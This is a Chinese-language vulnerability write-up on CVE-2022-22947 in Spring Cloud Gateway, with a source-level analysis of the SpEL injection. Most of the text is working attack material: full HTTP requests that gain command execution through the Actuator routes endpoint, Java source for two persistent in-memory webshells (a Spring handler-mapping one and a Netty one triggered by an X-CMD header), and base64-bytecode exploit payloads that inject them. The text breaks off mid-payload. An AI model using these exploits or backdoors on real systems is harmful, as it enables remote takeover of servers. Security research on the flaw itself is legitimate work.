
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
漏洞影响版本:
- Spring Cloud Gateway 3.1.0
- Spring Cloud Gateway 3.0.0 - 3.0.6
- Spring Cloud Gateway 其它不支持的、已不再更新的版本
下载存在漏洞的版本v3.1.0:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0
漏洞复现
先创建路由,在filter中填充 SpEL 表达式,然后refresh,使用AddResponseHeader进行回显
1.添加filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /actuator/gateway/routes/spel HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 329
{ "id": "spel", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com" }
|

2.刷新
1 2 3 4 5 6 7 8 9 10
| POST /actuator/gateway/refresh HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 0
|

3.再次访问
1 2 3 4 5 6 7 8
| GET /actuator/gateway/routes/spel HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|

成功得到命令执行回显
4.删除路由
1 2 3 4 5 6 7 8 9
| DELETE /actuator/gateway/routes/spel HTTP/1.1 Host: 127.0.0.1:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 0
|

看到状态码为200说明删除成功,最后再刷新一遍就可以了
漏洞分析
看下diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
可以看到在ShortcutConfigurable中用GatewayEvaluationContext替代了StandardEvaluationContext来执行spel表达式

在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue
下断点进行调试

可以看到如果entryValue可控即可实现SpEL表达式注入
查找getValue方法,发现有4处调用,且均在ShortcutType这个枚举类型里,它会根据ShortcutType的类型执行不同的normalize函数

存在shortcutType方法,会直接返回ShortcutType.DEFAULT

接着看到org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

这个 normalizeProperties() 是对filter的属性进行解析,传入this.properties,其中保存了前面添加的filters agrs属性中的name和value
路由初始化
根据文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
用户可以通过actuator在网关中创建和删除路由

我们可以用idea的映射功能找到对应的Controller

可以知道POST传入的是RouteDefinition对象

其中 FilterDefinition 类需要有一个name和args键值对
在创建路由的过程中使用了this::validateRouteDefinition
对已有的filter进行匹配,一共有29个

所有合法过滤器名称:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| AddRequestHeader MapRequestHeader AddRequestParameter AddResponseHeader ModifyRequestBody DedupeResponseHeader ModifyResponseBody CacheRequestBody PrefixPath PreserveHostHeader RedirectTo RemoveRequestHeader RemoveRequestParameter RemoveResponseHeader RewritePath Retry SetPath SecureHeaders SetRequestHeader SetRequestHostHeader SetResponseHeader RewriteResponseHeader RewriteLocationResponseHeader SetStatus SaveSession StripPrefix RequestHeaderToRequestUri RequestSize RequestHeaderSize
|
回显构造
在refresh路由时会调用对应GatewayFilter
的apply
函数
看到类org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply

此方法会把config的name和value属性都添加到header中,当成功创建新的路由后,可以通过GET请求获取配置信息
注入内存马
参考:Spring cloud gateway通过SPEL注入内存马
Spring cloud gateway对payload的稳定性要求比较高,一旦报错可能会影响业务的。所以在开始之前,我们需要先构造一个优质的SPEL执行java字节码的payload
使用Spring中自带的ReflectUtils类的defineClass方法,c0ny1师傅进行了如下的优化:
- 解决BCEL/js引擎兼容性问题
- 解决base64在不同版本jdk的兼容问题
- 可多次运行同类名字节码
- 解决可能导致的ClassNotFound问题
1
| #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
|
MLet继承了URLClassLoader,所以这里通过new MLet()
来new一个新的ClassLoader就可以避免ClassLoader无法加载相同类名的类

Spring层内存马
c0ny1师傅文章中用到的是RequestMappingHandlerMapping
注册一个与使用@RequestMapping("/*")
等效的HandlerMapping类型的内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.reactive.result.condition.PatternsRequestCondition; import org.springframework.web.reactive.result.method.RequestMappingInfo; import org.springframework.web.util.pattern.PathPattern; import org.springframework.web.util.pattern.PathPatternParser;
import java.io.IOException; import java.lang.reflect.Method; import java.util.Scanner;
public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = "inject-success"; }catch (Exception e){ msg = "inject-error"; } return msg; }
public ResponseEntity executeCommand(String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } }
|
最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAkwoABgBOCABPCgAGAFAIADMHAFEHAFIHAFMHAFQKAAUAVQoABwBWBwBXCAA1BwBYBwBZCgAOAE4IAFoKAA4AWwcAXAcAXQoAEgBeCABfCgAIAGAKAAsATgoABwBhCABiBwBjCABkBwBlCgBmAGcIAEgIAGgKAGYAaQoAagBrCABsCgAcAG0IAG4KABwAbwoAHABwBwBxCQByAHMKACcAdAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFIHAFgHAGMBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwB1AQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAKgArAQAMaW5qZWN0LXN0YXJ0DAB2AHcBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHgAeQwAegB7AQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAfAB9AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACoAfgEAAAwAKgB/DACAAIEBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEAQACL2MMAIUAhgcAhwwAiACJAQADR0JLDAAqAIoBAAJcQQwAiwCMDACNAI4BACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAI8MAJAAkQwAKgCSAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAACQAxADIAAgAsAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMALQAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsALgAAAFIACAAgAGkAMwA0AAIANgBTADUANAADAEQARQA2ADcABABWADMAOAA5AAUAaQAgADoAOwAGAI0AAwA8AD0AAgAAAJIAPgA/AAAAAwCPAEAAQQABAEIAAAATAAL/AIwAAgcAQwcARAABBwBFAwBGAAAABQEAPgAAAAEANQBHAAMALAAAAHsABwADAAAAObsAHFm4AB0GvQANWQMSHlNZBBIfU1kFK1O2ACC2ACESIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAAB8ALQAgAC4AAAAgAAMAAAA5AC8AMAAAAAAAOQBIAEEAAQAtAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAAAQBMAAAAAgBN'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}", "_genkey_1": "/${path}" } } ], "uri": "http://example.com" }
|

netty层内存马
netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import io.netty.buffer.Unpooled; import io.netty.channel.*; import io.netty.handler.codec.http.*; import io.netty.util.CharsetUtil; import reactor.netty.ChannelPipelineConfigurer; import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.SocketAddress; import java.util.Scanner;
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer { public static String doInject(){ String msg = "inject-start"; try { Method getThreads = Thread.class.getDeclaredMethod("getThreads"); getThreads.setAccessible(true); Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) { Object thread = Array.get(threads, i); if (thread != null && thread.getClass().getName().contains("NettyWebServer")) { Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer"); _val$disposableServer.setAccessible(true); Object val$disposableServer = _val$disposableServer.get(thread); Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config"); _config.setAccessible(true); Object config = _config.get(val$disposableServer); Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit"); _doOnChannelInit.setAccessible(true); _doOnChannelInit.set(config, new NettyMemshell()); msg = "inject-success"; } } }catch (Exception e){ msg = "inject-error"; } return msg; }
@Override public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) { ChannelPipeline pipeline = channel.pipeline(); pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell()); }
@Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { if(msg instanceof HttpRequest){ HttpRequest httpRequest = (HttpRequest)msg; try { if(httpRequest.headers().contains("X-CMD")) { String cmd = httpRequest.headers().get("X-CMD"); String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next(); send(ctx, execResult, HttpResponseStatus.OK); return; } }catch (Exception e){ e.printStackTrace(); } } ctx.fireChannelRead(msg); }
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) { FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8)); response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8"); ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } }
|
然后生成字节码,传入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { "predicates": [ { "name": "Path", "args": { "_genkey_0": "/new_route/**" } } ], "filters": [ { "name": "RewritePath", "args": { "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBGQoAQgCBCACCBwCDCABXBwCECgAFAIUKAIYAhwcAiAoAhgCJCgCKAIsKAIoAjAoACACNCgAFAI4IAI8KACgAkAgATwoABQCRCgCSAIcKAJIAkwoABQCUCABSCACVBwCWCgAXAIEKAJIAlwgAmAcAmQgAmgsAmwCcCACdCACeCwCfAKAHAKELACEAoggAowoApAClCgCkAKYHAKcKAKgAqQcAqggAcAgAqwoAqACsCgCtAK4IAK8KACYAsAgAsQoAJgCyCgAmALMJALQAtQoAFwC2CgAbALcLALgAuQcAugkAuwC8CQC9AL4KAL8AwAoANgDBCwDCAKIJAMMAxAgAxQoApADGCwC4AMcJAMgAyQsAygDLBwDMBwDNAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAqgcAzgcAiAcAmQEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsHAKEBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwARABFAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAzwDQBwDODADRANIBABBqYXZhL2xhbmcvT2JqZWN0DADTANQHANUMANYA1wwA2ADZDADaANsMANwATAEADk5ldHR5V2ViU2VydmVyDADdAN4MAN8A4AcA4QwA2ADiDADjANsBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADkAOUBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHAOYMAGsA5wEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDoDADpAOoBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOsA7AEABVgtQ01EBwDtDADdAO4MANgA7wEAEWphdmEvdXRpbC9TY2FubmVyBwDwDADxAPIBABBqYXZhL2xhbmcvU3RyaW5nAQACL2MMAPMA9AcA9QwA9gD3AQADR0JLDABEAPgBAAJcQQwA+QD6DAD7AEwHAPwMAP0AfAwAeAB5DAD+AEUHAP8MAQABAQEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcBAgwBAwEEBwEFDAEGAQcHAQgMAQkBCgwARAELBwEMBwENDAEOAQ8BABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADkARAMAREBEgcBEwwBFAEVBwEWDAEXARgBACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABdqYXZhL2xhbmcvcmVmbGVjdC9BcnJheQEACWdldExlbmd0aAEAFShMamF2YS9sYW5nL09iamVjdDspSQEAA2dldAEAJyhMamF2YS9sYW5nL09iamVjdDtJKUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAGGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbAEAJCgpTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAIGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lAQAJYWRkQmVmb3JlAQBpKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsUGlwZWxpbmU7AQAHaGVhZGVycwEAKygpTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyczsBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vb